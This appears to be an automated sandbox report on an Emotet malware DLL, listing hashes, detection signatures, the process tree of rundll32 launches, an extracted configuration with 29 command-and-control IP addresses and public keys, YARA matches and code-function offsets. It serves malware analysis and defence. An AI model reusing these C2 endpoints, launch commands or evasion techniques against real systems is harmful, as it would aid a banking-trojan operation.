Play interactive tour

Edit tour

Windows Analysis Report UioA2E9DBG

Overview

General Information

Sample Name:	UioA2E9DBG (renamed file extension from none to dll)
Analysis ID:	532429
MD5:	6988533cf7cbdccd0ea429571e0441a9
SHA1:	27836d3e04a31548fa09ec8537ba50777a73a42a
SHA256:	8d6912a12fdccb3d6d55980c3b1fd20cc97a2736d3381e315657a3d6f2f8d1b3
Tags:	32dllexe
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Emotet

Found potential dummy code loops (likely to delay analysis)

Tries to detect virtualization through RDTSC time measurements

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Program does not show much activity (idle)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Abnormal high CPU Usage

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Connects to several IPs in different countries

Queries disk information (often used to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6956 cmdline: loaddll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll" MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 7012 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 7056 cmdline: rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5544 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7040 cmdline: rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5368 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jsczeisswlgpw\ifzwhxr.fpp",gqJNgJRYaqyk MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7092 cmdline: rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,agrwqhxohbh MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5240 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7108 cmdline: rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,aoydsyidkopcdbcv MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5192 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5064 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

svchost.exe (PID: 6708 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.684418715.0000000000380000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000E.00000002.828298416.00000000008E0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.694340801.0000000000A30000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.684454921.00000000006DA000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.683073019.0000000000DBA000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.694486235.0000000000AB6000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.696143071.0000000000B10000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.683120624.0000000001130000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000E.00000002.828605995.00000000009D5000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000001.00000002.697195816.000000000111B000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.696221862.0000000000D4A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.loaddll32.exe.113eef0.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.2.loaddll32.exe.113eef0.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.d64248.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.6f4270.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.2.loaddll32.exe.d90000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.1130000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.b10000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.dd4318.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.d64248.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.b10000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.2.loaddll32.exe.d90000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.380000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
14.2.rundll32.exe.8e0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.380000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.6f4270.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.a30000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
14.2.rundll32.exe.8e0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.dd4318.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.1130000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.a30000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 15 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 5.2.rundll32.exe.1130000.1.unpack

Malware Configuration Extractor: Emotet {"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2"]}

Multi AV Scanner detection for submitted file

Show sources

Source: UioA2E9DBG.dll

Virustotal: Detection: 23%

Perma Link

Source: UioA2E9DBG.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: UioA2E9DBG.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E91BA20 FindFirstFileExW,		1_2_6E91BA20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E91BA20 FindFirstFileExW,		4_2_6E91BA20

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 46.55.222.11:443
Source: Malware configuration extractor	IPs: 104.245.52.73:8080
Source: Malware configuration extractor	IPs: 41.76.108.46:8080
Source: Malware configuration extractor	IPs: 103.8.26.103:8080
Source: Malware configuration extractor	IPs: 185.184.25.237:8080
Source: Malware configuration extractor	IPs: 103.8.26.102:8080
Source: Malware configuration extractor	IPs: 203.114.109.124:443
Source: Malware configuration extractor	IPs: 45.118.115.99:8080
Source: Malware configuration extractor	IPs: 178.79.147.66:8080
Source: Malware configuration extractor	IPs: 58.227.42.236:80
Source: Malware configuration extractor	IPs: 45.118.135.203:7080
Source: Malware configuration extractor	IPs: 103.75.201.2:443
Source: Malware configuration extractor	IPs: 195.154.133.20:443
Source: Malware configuration extractor	IPs: 45.142.114.231:8080
Source: Malware configuration extractor	IPs: 212.237.5.209:443
Source: Malware configuration extractor	IPs: 207.38.84.195:8080
Source: Malware configuration extractor	IPs: 104.251.214.46:8080
Source: Malware configuration extractor	IPs: 212.237.17.99:8080
Source: Malware configuration extractor	IPs: 212.237.56.116:7080
Source: Malware configuration extractor	IPs: 216.158.226.206:443
Source: Malware configuration extractor	IPs: 110.232.117.186:8080
Source: Malware configuration extractor	IPs: 158.69.222.101:443
Source: Malware configuration extractor	IPs: 107.182.225.142:8080
Source: Malware configuration extractor	IPs: 176.104.106.96:8080
Source: Malware configuration extractor	IPs: 81.0.236.90:443
Source: Malware configuration extractor	IPs: 50.116.54.215:443
Source: Malware configuration extractor	IPs: 138.185.72.26:8080
Source: Malware configuration extractor	IPs: 51.68.175.8:8080
Source: Malware configuration extractor	IPs: 210.57.217.132:8080

Source: Joe Sandbox View	ASN Name: OnlineSASFR OnlineSASFR
Source: Joe Sandbox View	ASN Name: ARUBA-ASNIT ARUBA-ASNIT

Source: Joe Sandbox View	IP Address: 195.154.133.20 195.154.133.20
Source: Joe Sandbox View	IP Address: 212.237.17.99 212.237.17.99

Source: unknown

Network traffic detected: IP country count 19

Source: svchost.exe, 0000000A.00000002.829573302.000001EA7E261000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 0000000A.00000002.829416267.000001EA7E219000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 1.2.loaddll32.exe.113eef0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.113eef0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.d64248.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.6f4270.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.d90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.1130000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.dd4318.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.d64248.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.b10000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.380000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.8e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.6f4270.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.a30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.8e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.dd4318.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.1130000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.684418715.0000000000380000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.828298416.00000000008E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.694340801.0000000000A30000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.684454921.00000000006DA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.683073019.0000000000DBA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.694486235.0000000000AB6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.696143071.0000000000B10000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.683120624.0000000001130000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.828605995.00000000009D5000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.697195816.000000000111B000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.696221862.0000000000D4A000.00000004.00000020.sdmp, type: MEMORY

Source: UioA2E9DBG.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Jsczeisswlgpw\ifzwhxr.fpp:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Jsczeisswlgpw\

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB06EF	1_2_00DB06EF
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DAED95	1_2_00DAED95
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA7EDD	1_2_00DA7EDD
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB0AD3	1_2_00DB0AD3
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D954C0	1_2_00D954C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB20F8	1_2_00DB20F8
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9E6FD	1_2_00D9E6FD
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9BEF5	1_2_00D9BEF5
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9A8E8	1_2_00D9A8E8
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9F699	1_2_00D9F699
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9D899	1_2_00D9D899
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9C69B	1_2_00D9C69B
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D93085	1_2_00D93085
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DAB0BA	1_2_00DAB0BA
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9AEB9	1_2_00D9AEB9
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA3ABE	1_2_00DA3ABE
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA56A9	1_2_00DA56A9
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D968AD	1_2_00D968AD
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9F4A5	1_2_00D9F4A5
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA04A4	1_2_00DA04A4
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA645F	1_2_00DA645F
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA604E	1_2_00DA604E
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DAE478	1_2_00DAE478
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB1C71	1_2_00DB1C71
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB0C66	1_2_00DB0C66
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DABA18	1_2_00DABA18
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA1C12	1_2_00DA1C12
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB2C16	1_2_00DB2C16
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9F20D	1_2_00D9F20D
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D93E3B	1_2_00D93E3B
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DACC3F	1_2_00DACC3F
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA0A37	1_2_00DA0A37
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA0824	1_2_00DA0824
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DAE7DA	1_2_00DAE7DA
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA89DA	1_2_00DA89DA
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA13DB	1_2_00DA13DB
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D95DC3	1_2_00D95DC3
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D939C3	1_2_00D939C3
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D92DC5	1_2_00D92DC5
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA4DC5	1_2_00DA4DC5
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA0FC5	1_2_00DA0FC5
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D91DF9	1_2_00D91DF9
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DAD5FE	1_2_00DAD5FE
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D96BFE	1_2_00D96BFE
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA91F7	1_2_00DA91F7
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9B7EC	1_2_00D9B7EC
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9FBEF	1_2_00D9FBEF
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB35E3	1_2_00DB35E3
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9938F	1_2_00D9938F
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB1987	1_2_00DB1987
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9F984	1_2_00D9F984
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D97D87	1_2_00D97D87
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D933A9	1_2_00D933A9
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DABFA1	1_2_00DABFA1
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA77A7	1_2_00DA77A7
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D98D59	1_2_00D98D59
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9635F	1_2_00D9635F
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB314A	1_2_00DB314A
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB2D4F	1_2_00DB2D4F
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D94F42	1_2_00D94F42
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DAC145	1_2_00DAC145
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9597D	1_2_00D9597D
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D92B7C	1_2_00D92B7C
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA5B7C	1_2_00DA5B7C
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DAC772	1_2_00DAC772
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D92575	1_2_00D92575
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D92176	1_2_00D92176
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9196D	1_2_00D9196D
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9996C	1_2_00D9996C
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DAF561	1_2_00DAF561
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB2560	1_2_00DB2560
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D99565	1_2_00D99565
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D95166	1_2_00D95166
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9DD66	1_2_00D9DD66
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA8518	1_2_00DA8518
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D98112	1_2_00D98112
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D95314	1_2_00D95314
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D94716	1_2_00D94716
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DAD10B	1_2_00DAD10B
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA710D	1_2_00DA710D
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DB3306	1_2_00DB3306
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D97739	1_2_00D97739
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA473A	1_2_00DA473A
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA3130	1_2_00DA3130
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9E336	1_2_00D9E336
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DACF2C	1_2_00DACF2C
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9B12E	1_2_00D9B12E
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D96125	1_2_00D96125
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E8F5980	1_2_6E8F5980
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E8F6100	1_2_6E8F6100
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E91AE28	1_2_6E91AE28
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E921F65	1_2_6E921F65
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E902C70	1_2_6E902C70
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E90FD1F	1_2_6E90FD1F
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E8F2D10	1_2_6E8F2D10
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E911D50	1_2_6E911D50
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E9258EF	1_2_6E9258EF
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E8FE6B0	1_2_6E8FE6B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E9257CB	1_2_6E9257CB
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E920569	1_2_6E920569
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E8F9380	1_2_6E8F9380
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E90C366	1_2_6E90C366
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E90C132	1_2_6E90C132
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E8F5980	4_2_6E8F5980
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E8F6100	4_2_6E8F6100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E91AE28	4_2_6E91AE28
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E921F65	4_2_6E921F65
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E902C70	4_2_6E902C70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E90FD1F	4_2_6E90FD1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E8F2D10	4_2_6E8F2D10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E911D50	4_2_6E911D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E9258EF	4_2_6E9258EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E8FE6B0	4_2_6E8FE6B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E9257CB	4_2_6E9257CB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E920569	4_2_6E920569
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E8F9380	4_2_6E8F9380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E90C366	4_2_6E90C366
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E90C132	4_2_6E90C132
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114ED95	5_2_0114ED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011506EF	5_2_011506EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01138112	5_2_01138112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01134716	5_2_01134716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01135314	5_2_01135314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01148518	5_2_01148518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01153306	5_2_01153306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114710D	5_2_0114710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114D10B	5_2_0114D10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01143130	5_2_01143130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113E336	5_2_0113E336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01137739	5_2_01137739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114473A	5_2_0114473A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01136125	5_2_01136125
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114CF2C	5_2_0114CF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113B12E	5_2_0113B12E
